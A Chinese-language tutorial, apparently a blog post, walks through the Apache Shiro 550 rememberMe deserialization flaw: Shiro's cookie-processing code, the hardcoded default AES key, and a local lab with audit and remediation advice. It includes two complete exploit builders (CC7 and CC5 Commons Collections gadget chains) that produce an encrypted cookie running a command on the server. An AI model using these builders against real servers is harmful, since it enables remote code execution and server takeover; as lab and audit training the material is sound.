






Apache Shiro 是一个 Java 安全框架,提供身份认证、授权、加密和会话管理功能。在很多 Java Web 项目中,Shiro 被用来处理登录、权限控制和“记住我”功能。
Shiro 的“记住我”功能通过一个名为rememberMe的 Cookie 实现。用户登录时勾选“记住我”,Shiro 会把用户身份信息序列化后存入这个 Cookie。下次请求时,Shiro 从 Cookie 中读取并恢复用户身份,实现自动登录。Shiro 的特征是:收到无效 rememberMe Cookie 后,响应头会包含Set-Cookie: rememberMe=deleteMe。

前两篇已经讲过 Java 原生反序列化机制和 CC 链的构造方法。本文不再重复这些内容,重点讲 Shiro 如何成为反序列化漏洞的新入口,以及 Cookie、加密、密钥和框架数据流在其中的作用。
Shiro 处理rememberMeCookie 的核心代码分散在几个类中。
让我们先看看 Shiro 如何生成身份信息并交给前端 rememberMe Cookie 的。如果用户在登录时勾选了“记住我”,就会在提交登录表单时携带 rememberMe 参数,在登录成功后,调用rememberIdentity把用户身份信息传递给convertPrincipalsToBytes:AbstractRememberMeManager.java#L345-L348
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
// accountPrincipals 是登录成功后的用户身份信息
// convertPrincipalsToBytes() 会把身份信息转换成字节数组
byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
// 把转换后的字节数组写入 rememberMe Cookie
rememberSerializedIdentity(subject, bytes);
}
convertPrincipalsToBytes()会先序列化身份信息,再进行 AES 加密:AbstractRememberMeManager.java#L359-L365
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
// 第一步:把 PrincipalCollection 序列化成 Java 原生序列化字节数组
byte[] bytes = serialize(principals);
if (getCipherService() != null) {
// 第二步:对序列化后的字节数组做 AES 加密
bytes = encrypt(bytes);
}
// 返回的 bytes 已经是加密后的字节数组
return bytes;
}
在encrypt()中调用cipherService.encrypt(),并使用getEncryptionCipherKey()取 AES 加密密钥:AbstractRememberMeManager.java#L469-L477
protected byte[] encrypt(byte[] serialized) {
byte[] value = serialized;
CipherService cipherService = getCipherService();
if (cipherService != null) {
// serialized 是 Java 原生序列化数据
// getEncryptionCipherKey() 返回 rememberMe 的 AES 加密密钥
ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
// value 是 AES 加密后的字节数组
value = byteSource.getBytes();
}
return value;
}
最后rememberSerializedIdentity()把 AES 加密后的字节数组做 Base64 编码,并写入前端 Cookie:CookieRememberMeManager.java#L135-L158
protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {
// 省略 HTTP 上下文检查...
HttpServletRequest request = WebUtils.getHttpRequest(subject);
HttpServletResponse response = WebUtils.getHttpResponse(subject);
// serialized 是 AES 加密后的字节数组
// 这里做 Base64 编码,变成适合放入 Cookie 的字符串
String base64 = Base64.encodeToString(serialized);
Cookie template = getCookie();
Cookie cookie = new SimpleCookie(template);
// 把 Base64 字符串设置为 rememberMe Cookie 的值
cookie.setValue(base64);
// 通过 Set-Cookie 响应头写回浏览器
cookie.saveTo(request, response);
}
整个流程如下:
用户勾选“记住我”,登录成功后,调用rememberIdentity把用户身份信息传递给convertPrincipalsToBytes
调用serialize序列化身份信息
再调用encryptAES 加密,然后交给rememberSerializedIdentity
调用Base64.encodeToString做 Base64 编码
调用cookie.setValue设置 rememberMe Cookie 的值
调用cookie.saveTo写入响应头
现在看看数据是怎么从前端 rememberMe Cookie 进入readObject()的。
Shiro 先从 HTTP 请求中获取rememberMeCookie 的值,并做 Base64 解码:CookieRememberMeManager.java#L185-L224
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
if (!WebUtils.isHttp(subjectContext)) {
if (log.isDebugEnabled()) {
String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " +
"servlet request and response in order to retrieve the rememberMe cookie. Returning " +
"immediately and ignoring rememberMe operation.";
log.debug(msg);
}
return null;
}
WebSubjectContext wsc = (WebSubjectContext) subjectContext;
if (isIdentityRemoved(wsc)) {
return null;
}
// 从 HTTP 请求中取出 rememberMe Cookie 的值
HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);
String base64 = getCookie().readValue(request, response);
// Browsers do not always remove cookies immediately (SHIRO-183)
// ignore cookies that are scheduled for removal
if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;
if (base64 != null) {
base64 = ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
// 对 Cookie 值做 Base64 解码,返回字节数组
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
//no cookie set - new site visitor?
return null;
}
}
getRememberedPrincipals()会把getRememberedSerializedIdentity()返回的decoded字节数组交给convertBytesToPrincipals():AbstractRememberMeManager.java#L390-L403
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
// bytes 就是 CookieRememberMeManager 中 Base64.decode(base64) 返回的字节数组
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
// 只有拿到 rememberMe Cookie 数据后,才继续解密和反序列化
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}
return principals;
}
convertBytesToPrincipals()会对bytes做 AES 解密,然后把解密后的字节数组交给deserialize():AbstractRememberMeManager.java#L427-L432
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
// bytes 是 Base64 解码后的 Cookie 数据
// decrypt(bytes) 会使用 AES 密钥解密,返回原始序列化数据
bytes = decrypt(bytes);
}
// 解密后的 bytes 继续进入 deserialize()
return deserialize(bytes);
}
decrypt()中真正调用cipherService.decrypt(),并使用getDecryptionCipherKey()取 AES 解密密钥:AbstractRememberMeManager.java#L485-L493
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
// encrypted 是 Base64 解码后的 Cookie 数据
// getDecryptionCipherKey() 返回 rememberMe 的 AES 解密密钥
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
// serialized 是 AES 解密后的 Java 原生序列化数据
serialized = byteSource.getBytes();
}
return serialized;
}
最终deserialize()调用Serializer接口,默认实现是DefaultSerializer。它内部创建ObjectInputStream并调用readObject():DefaultSerializer.java#L67-L84
public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
}
// serialized 是 AES 解密后的 Java 原生序列化数据
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);
try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
// source 入口:Cookie 中的攻击数据最终进入 readObject()
T deserialized = (T) ois.readObject();
ois.close();
return deserialized;
} catch (Exception e) {
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, e);
}
}
总结一下 Shiro 处理rememberMeCookie 的流程:
先从 HTTP 请求中获取rememberMeCookie 的值:CookieRememberMeManager.getRememberedSerializedIdentity()
对 Cookie 值做 Base64 解码:Base64.decode(base64)
把 Base64 解码后的 Cookie 数据交给convertBytesToPrincipals()
调用decrypt()做 AES 解密
把 AES 解密后的字节数组交给deserialize()进行反序列化
反序列化后的对象会进入ObjectInputStream.readObject(),触发危险调用路径
设计上看起来挺安全的,序列化数据经过了加密和 Base64 编码后才交给前端,相当于上了一把锁,只要 AES 密钥不泄露,解密不成功的数据就会被丢弃,不会被ObjectInputStream.readObject()调用。
但是问题出在了没有遵循默认安全原则,默认 AES 密钥硬编码在了代码中。AbstractRememberMeManager.java#L80:
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
这就导致攻击者可以用这个密钥加密任意的序列化数据,然后通过rememberMeCookie 传递给 Shiro,它就会自己解密并反序列化数据,结合上篇的 CC 链就可获取服务器控制权,具体用哪个 CC 链,取决于业务运行环境中的 Java 版本和 jar 组件和版本。这就是 Apache Shiro rememberMe 反序列化漏洞的原因,只要获得了 AES 密钥,就可以获取服务器权限。
这个漏洞业内通常称为 Shiro 550(对应 CVE-2016-4437)。受影响版本为 Shiro < 1.2.5,该版本范围内部署了硬编码的 AES 密钥。实际中并不是只有这一个密钥,不同项目可能使用不同的硬编码密钥,很多 Shiro 利用工具内置了数百个常见密钥的字典,通过尝试rememberMeCookie 解密是否成功来爆破密钥,爆破成功后就可以利用 CC 链获取服务器权限。
为了让实验更接近真实场景,这里把 Lab 拆成两部分:
漏洞环境:一个使用 Shiro 1.2.4 的 Web 登录页面,用户输入用户名、密码,勾选“记住我”后提交。服务端生成和解析 Cookie。
攻击代码:单独构造恶意 rememberMe Cookie 的代码。
目录结构如下:
shiro550-lab/
├── attacker/
│ ├── out/
│ ├── Shiro550AttackBuilder.java # 使用 CC7 构建恶意序列化数据的代码
│ └── Shiro550CC5AttackBuilder.java # 使用 CC5 构建恶意序列化数据的代码
├── lib/
│ ├── commons-collections-3.2.1.jar
│ ├── shiro-core-1.2.4.jar # Shiro 核心依赖
│ └── slf4j-api-1.7.7.jar # Shiro 运行时依赖,用于日志记录
└── vulnerable-server/
├── out/
└── Shiro550VulnerableServer.java # 漏洞环境代码
Lab 地址:https://github.com/NHPT/Java-Deserialization-Lab/tree/main/shiro550-lab
lib 目录就是业务环境的 classpath,其中是业务环境和攻击者代码依赖的 jar 包下载地址:
本文使用 JDK 自带的HttpServer搭登录页,同时复用shiro-core-1.2.4.jar中的AbstractRememberMeManager、AesCipherService和DefaultSerializer。
按实际业务场景使用 Shiro 的 rememberMe 逻辑,Shiro550VulnerableServer.java代码:Shiro550VulnerableServer.java
这里我们先使用 CC7 来作为本文实验的 gadget 链。前面的文字我们已经学习了 HashMap 和 LazyMap,现在我们用一段示例代码学习 CC7 中需要的 Hashtable 的用法:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.Serializable;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7MethodDemo {
// 定义一个 LoggingTransformer 类,实现了 Transformer 接口和 Serializable 接口
private static class LoggingTransformer implements Transformer, Serializable {
private static final long serialVersionUID = 1L;
// 实现 Transformer 接口的 transform() 方法,打印 key 并返回 2
// 我们不手动调用 transform(),让我们看看它如何被调用
@Override
public Object transform(Object input) {
System.out.println("- transform 方法被调用,key = " + input);
return 2;
}
}
public static void main(String[] args) throws Exception {
// 创建一个 LoggingTransformer 实例
LoggingTransformer tableTransformer = new LoggingTransformer();
// 创建两个 HashMap 实例,作为原始 Map 实例
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// 用 LazyMap 装饰 innerMap1 和 innerMap2
Map lazyMap1 = LazyMap.decorate(innerMap1, tableTransformer);
Map lazyMap2 = LazyMap.decorate(innerMap2, tableTransformer);
// 给 lazyMap1 和 lazyMap2 添加 key-value 对
lazyMap1.put("yy", 1);
lazyMap2.put("zZ", 1);
// 打印 hashCode() 结果,可以看到 "yy" 和 "zZ" 的 hashCode() 相同,所以 lazyMap1 和 lazyMap2 的 hashCode() 相同
System.out.println("\"yy\".hashCode() = " + "yy".hashCode());
System.out.println("\"zZ\".hashCode() = " + "zZ".hashCode());
System.out.println("lazyMap1.hashCode() = " + lazyMap1.hashCode());
System.out.println("lazyMap2.hashCode() = " + lazyMap2.hashCode());
System.out.println();
// 创建一个 Hashtable 实例,
Hashtable table = new Hashtable();
// 添加 lazyMap 装饰后的实例作为 key 的键值对给 Hashtable 实例
// 因为 LazyMap 的 equals() 方法会触发 LazyMap.get() 方法
table.put(lazyMap1, 1);
table.put(lazyMap2, 2);
// 第二次 table.put(lazyMap2, 2) 时,因为 lazyMap1 和 lazyMap2 的 hashCode 相同,Hashtable 会进一步调用 equals() 方法比较这两个 key 是否相等。
// 比较过程中会触发 LazyMap.get(),并让 LazyMap 自动补上对方的 key。删掉这些临时补上的 key,可以保证在反序列化时触发 factory.transform() 方法
lazyMap1.remove("zZ");
lazyMap2.remove("yy");
// 序列化 Hashtable 实例,序列化后的字节数组赋值给 bytes
ByteArrayOutputStream bytes = new ByteArrayOutputStream();
try (ObjectOutputStream out = new ObjectOutputStream(bytes)) {
out.writeObject(table);
}
System.out.println("- 反序列化过程");
// 反序列化 Hashtable 实例
try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes.toByteArray()))) {
in.readObject();
}
}
}
编译运行:
cd shiro550-lab
# 将上面的代码保存为 CC7MethodDemo.java
javac -encoding UTF-8 -cp 'lib/*' CC7MethodDemo.java
java -cp '.:lib/*' CC7MethodDemo
输出结果为:
"yy".hashCode() = 3872
"zZ".hashCode() = 3872
lazyMap1.hashCode() = 3873
lazyMap2.hashCode() = 3873
- transform 方法被调用,key = yy
- 反序列化过程
- transform 方法被调用,key = yy
我们没有手动调用transform()方法,但却被调用了两次,一次是table.put(lazyMap2, 2);时,一次是反序列化 Hashtable 时。可见,Hashtable 会在以 LazyMap 为 key 的情况下调用 hashCode 方法,当 hashCode 值相同时调用LazyMap.equals()方法,从而触发调用LazyMap.get()方法,当发现目标 key 不存在时,调用factory.transform()方法。
理解这个桥梁后,再结合上篇提到的 CC7 链和本 Lab 的 source 入口,我们就可以构造如下调用链:
source 入口:ObjectInputStream.readObject()方法
反序列化 Hashtable 对象时,进入Hashtable.readObject()方法
Hashtable.readObject()恢复 key 时,因为两个 LazyMap key 发生 hash 碰撞,触发 key 的 equals 比较
LazyMap.equals()间接触发LazyMap.get()方法
LazyMap.get()发现目标 key 不存在,调用factory.transform()方法
然后调用ChainedTransformer.transform()方法
ChainedTransformer 依次执行五个 Transformer:
ConstantTransformer(ProcessBuilder.class)提供起点
InvokerTransformer("getConstructor")获取构造方法
InvokerTransformer("newInstance")创建 ProcessBuilder 实例
InvokerTransformer("inheritIO")让输出继承到终端
InvokerTransformer("start")启动进程执行命令
sink:id命令被执行,结果输出到终端
现在用代码实现这个过程,代码如下Shiro550AttackBuilder.java:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class Shiro550AttackBuilder {
public static void main(String[] args) throws Exception {
// 1. 先定义 ChainedTransformer 最终要执行的五个 Transformer。
Transformer[] realTransformers = new Transformer[]{
// 第一步:提供 ProcessBuilder.class 作为后续反射调用的起点。
new ConstantTransformer(ProcessBuilder.class),
// 第二步:反射调用 ProcessBuilder.class.getConstructor(String[].class),获取构造方法。
new InvokerTransformer(
"getConstructor",
new Class[]{Class[].class},
new Object[]{new Class[]{String[].class}}
),
// 第三步:反射调用 Constructor.newInstance(),创建 ProcessBuilder("id")。
new InvokerTransformer(
"newInstance",
new Class[]{Object[].class},
new Object[]{new Object[]{new String[]{"id"}}}
),
// 第四步:调用 inheritIO(),让 id 命令输出显示在漏洞环境终端。
new InvokerTransformer("inheritIO", new Class[0], new Object[0]),
// 第五步:调用 start(),真正启动进程执行命令。
new InvokerTransformer("start", new Class[0], new Object[0])
};
// 2. 构造 CC7 触发对象图之前,先把 ChainedTransformer 设置成无害链。
// 前边我们已经看到第二次调用 Hashtable.put() 方法时,会间接触发 factory.transform() 方法。如果此时已经放入 realTransformers,命令会在攻击者本机构造 payload 时提前执行。
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
// 构造 Hashtable 时会发生一次 key 比较。这里返回 2,避免两个 LazyMap 在构造阶段被判断为相等并合并。
new ConstantTransformer(2)
});
// 3. 构造 CC7 的核心对象图:两个 LazyMap 作为 Hashtable 的 key。
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, chain);
Map lazyMap2 = LazyMap.decorate(innerMap2, chain);
// "yy" 和 "zZ" 的 hashCode 相同,用于让 Hashtable 反序列化时进入 key equals 比较。
lazyMap1.put("yy", 1);
lazyMap2.put("zZ", 1);
Hashtable table = new Hashtable();
table.put(lazyMap1, 1);
table.put(lazyMap2, 2);
// 两个方向都删除一次,保证不同 JDK 的 Hashtable 比较顺序下,反序列化时仍会触发 LazyMap.get()。
lazyMap1.remove("zZ");
lazyMap2.remove("yy");
// 4. CC7 对象图准备好后,再把无害 Transformer 数组替换成真实命令链。
// 这样触发点仍然在 Hashtable / LazyMap,真正执行动作发生在 ChainedTransformer.transform()。
Field transformersField = ChainedTransformer.class.getDeclaredField("iTransformers");
transformersField.setAccessible(true);
transformersField.set(chain, realTransformers);
// 5. 序列化 CC7 对象图。
// Shiro 解密 rememberMe 后,最终会把这段字节交给 ObjectInputStream.readObject()。
ByteArrayOutputStream serializedBytes = new ByteArrayOutputStream();
try (ObjectOutputStream out = new ObjectOutputStream(serializedBytes)) {
out.writeObject(table);
}
// 6. 使用 Shiro 1.2.4 默认 rememberMe 密钥加密 payload。
// 这一步只是把 CC7 序列化数据包装成 Shiro 能识别的 rememberMe Cookie。
byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
AesCipherService cipherService = new AesCipherService();
ByteSource encrypted = cipherService.encrypt(serializedBytes.toByteArray(), key);
String rememberMe = Base64.encodeToString(encrypted.getBytes());
// 只输出 Cookie 值,方便终端用 COOKIE=$(java ...) 接住后直接发送 HTTP 请求。
System.out.println(rememberMe);
}
}
先编译漏洞环境和攻击代码:
# 创建需要的目录
cd shiro550-lab
mkdir -p vulnerable-server/out attacker/out
# 编译漏洞环境
javac -encoding UTF-8 -cp 'lib/*' -d vulnerable-server/out vulnerable-server/Shiro550VulnerableServer.java
# 编译 CC7 攻击代码
javac -encoding UTF-8 -cp 'lib/*' -d attacker/out attacker/Shiro550AttackBuilder.java
# 启动漏洞环境
java -cp 'vulnerable-server/out:lib/*' Shiro550VulnerableServer
启动成功后会看到:

另开一个终端,在shiro550-lab/目录执行攻击代码:java -cp 'attacker/out:lib/*' Shiro550AttackBuilder,然后就可以看到生成的 rememberMe Cookie 值。

然后提交生成的 rememberMe Cookie 给漏洞环境:

在漏洞环境所在的终端会打印id命令执行结果:

CC1、CC6、CC7 都学完了,我们再来看看 CC5 的利用方式。CC5 和 CC7 的后半段仍然类似,最终都会进入LazyMap.get()和ChainedTransformer.transform()。差异在前半段触发点:
CC7:Hashtable->LazyMap
CC5:BadAttributeValueExpException->TiedMapEntry->LazyMap
结合上篇提到的 CC5 链和本 Lab 的 source 入口,我们可以构造如下调用链:
source 入口:ObjectInputStream.readObject()方法
反序列化BadAttributeValueExpException对象时,进入BadAttributeValueExpException.readObject()方法
BadAttributeValueExpException.readObject()恢复val字段时触发val.toString()
如果val字段中保存的是TiedMapEntry,就会进入TiedMapEntry.toString()方法
TiedMapEntry.toString()触发TiedMapEntry.getValue()方法
TiedMapEntry.getValue()触发LazyMap.get()方法
LazyMap.get()发现目标 key 不存在,调用factory.transform()方法
然后调用ChainedTransformer.transform()方法
ChainedTransformer 依次执行五个 Transformer:
ConstantTransformer(ProcessBuilder.class)提供起点
InvokerTransformer("getConstructor")获取构造方法
InvokerTransformer("newInstance")创建 ProcessBuilder 实例
InvokerTransformer("inheritIO")让输出继承到终端
InvokerTransformer("start")启动进程执行命令
sink:id命令被执行,结果输出到终端
CC5 依赖BadAttributeValueExpException.val字段能保存TiedMapEntry这类对象。在大多数主流JDK 8版本上,CC5依然是有效的,在高版本 JDK中,由于val字段的声明类型发生了变化,导致无法以相同方式构造利用链。所以本文把 CC5 作为兼容性补充链讲解,实际验证建议使用 JDK 8 环境。
CC5 版本的攻击代码如下Shiro550CC5AttackBuilder.java:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Shiro550CC5AttackBuilder {
public static void main(String[] args) throws Exception {
// 1. 先定义最终执行命令的 Transformer 链。
// 这部分和 CC7 后半段一致:最终调用 ProcessBuilder("id").inheritIO().start()。
Transformer[] realTransformers = new Transformer[]{
new ConstantTransformer(ProcessBuilder.class),
new InvokerTransformer(
"getConstructor",
new Class[]{Class[].class},
new Object[]{new Class[]{String[].class}}
),
new InvokerTransformer(
"newInstance",
new Class[]{Object[].class},
new Object[]{new Object[]{new String[]{"id"}}}
),
new InvokerTransformer("inheritIO", new Class[0], new Object[0]),
new InvokerTransformer("start", new Class[0], new Object[0])
};
// 2. 构造对象图时先使用无害 Transformer,避免本地构造 payload 时提前执行命令。
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(1)
});
// 3. CC5 的核心是 BadAttributeValueExpException -> TiedMapEntry -> LazyMap。
// 反序列化 BadAttributeValueExpException 时会触发 val.toString()。
// 如果 val 是 TiedMapEntry,就会继续触发 TiedMapEntry.getValue() -> LazyMap.get()。
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chain);
// TiedMapEntry 绑定 LazyMap 和 key。调用 entry.toString() 时会调用 LazyMap.get("shiro")。
TiedMapEntry entry = new TiedMapEntry(lazyMap, "shiro");
// 创建 BadAttributeValueExpException 实例,并设置 val 为 null,避免构造阶段提前调用 toString()。
BadAttributeValueExpException payload = new BadAttributeValueExpException(null);
// 获取私有字段 val
Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
// 标准 CC5 依赖 JDK 8 中 val 字段可以保存任意 Object。
// 高版本 JDK 中该字段已经变成 String,无法再塞入 TiedMapEntry。
if (!Object.class.equals(valField.getType())) {
throw new IllegalStateException(
"当前 JDK 中 BadAttributeValueExpException.val 字段类型是 "
+ valField.getType().getName()
+ ",标准 CC5 需要该字段能保存 Object。请使用 JDK 8 环境验证 CC5。"
);
}
// 把 val 字段替换成 TiedMapEntry
// 反序列化时,readObject() 调用 val.toString(),才会进入 TiedMapEntry.toString() -> LazyMap.get("shiro")。
// 因为 LazyMap 不存在 "shiro" 键,所以会触发 factory.transform() 方法。
valField.setAccessible(true);
valField.set(payload, entry);
// 4. 对象图准备好后,再把无害 Transformer 替换成真实命令链。
Field transformersField = ChainedTransformer.class.getDeclaredField("iTransformers");
transformersField.setAccessible(true);
transformersField.set(chain, realTransformers);
// 5. 序列化 CC5 对象图。
ByteArrayOutputStream serializedBytes = new ByteArrayOutputStream();
try (ObjectOutputStream out = new ObjectOutputStream(serializedBytes)) {
out.writeObject(payload);
}
// 6. 使用 Shiro 1.2.4 默认 rememberMe 密钥加密 payload,并输出 Cookie 值。
byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
AesCipherService cipherService = new AesCipherService();
ByteSource encrypted = cipherService.encrypt(serializedBytes.toByteArray(), key);
String rememberMe = Base64.encodeToString(encrypted.getBytes());
System.out.println(rememberMe);
}
}
编译和运行:
javac -encoding UTF-8 -cp 'lib/*' -d attacker/out attacker/Shiro550CC5AttackBuilder.java
java -cp 'attacker/out:lib/*' Shiro550CC5AttackBuilder
密钥不匹配:不同版本的 Shiro 默认密钥可能不同,或者项目自定义了密钥。需要从配置或源码中确认。
Shiro 版本:Shiro 1.2.4 及以下使用固定密钥,1.2.5+ 需要显式配置。高版本如果仍然使用硬编码密钥,漏洞依然存在。
Cookie 长度限制:CC 链的 payload 经过 AES 加密和 Base64 编码后可能很长,浏览器、代理或 Web 容器都可能限制请求头大小,需要调整环境或换用更短的链。
JDK 版本:CC1 链需要 JDK 8u71 以下;CC5 依赖旧版 JDK 中BadAttributeValueExpException.val字段能保存对象;高版本通常换用 CC6、CC7 等触发点。
反序列化过滤:如果目标配置了ObjectInputFilter或升级了 Shiro 版本(1.7.0+ 移除了默认密钥),漏洞可能失效。
审计项目时按以下顺序排查:
第一,确认 Shiro 版本:检查pom.xml或lib目录中 Shiro 版本是否 ≤ 1.2.4(默认硬编码密钥)或显式配置了固定密钥。
第二,找密钥:搜索setCipherKey、rememberMe、cipherKey等关键字,确认密钥是否可被获取。
第三,检查 classpath:确认 Commons Collections 是否存在(同上一篇的审计方法)。
第四,确认入口:Shiro 的rememberMeCookie 解析链路是否被禁用或自定义过滤。
升级 Shiro 到 1.7.0 或更高版本(移除了默认硬编码密钥)。
如果必须使用 rememberMe,使用随机生成的强密钥,不要使用默认值或示例代码中的密钥。
定期轮换密钥。
如果不需要 rememberMe 功能,直接禁用。
在反序列化入口添加ObjectInputFilter白名单。
升级或移除 Commons Collections 旧版本依赖。
读完本文后,你应该掌握这些内容:
Shiro rememberMe Cookie 的处理流程:Base64 解码 → AES 解密 → readObject()。
Shiro 漏洞的新增点不是 gadget 链,而是 Cookie + 加密这个新入口。
密钥硬编码是漏洞成立的关键条件。
Shiro 利用链的构造流程:CC 链 -> 序列化 -> Shiro AES 加密 -> Base64 编码 -> rememberMe Cookie。
CC7 使用Hashtable->LazyMap触发点。
CC5 使用BadAttributeValueExpException->TiedMapEntry->LazyMap触发点。高版本中,由于val字段的声明类型发生了变化,导致无法以相同方式构造利用链。
审计时先找密钥,再确认版本和 classpath。
修复的核心是替换硬编码密钥或升级 Shiro 版本。
下一篇将继续讲 WebLogic 反序列化漏洞,涉及企业中间件协议入口和服务端对象恢复机制。
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。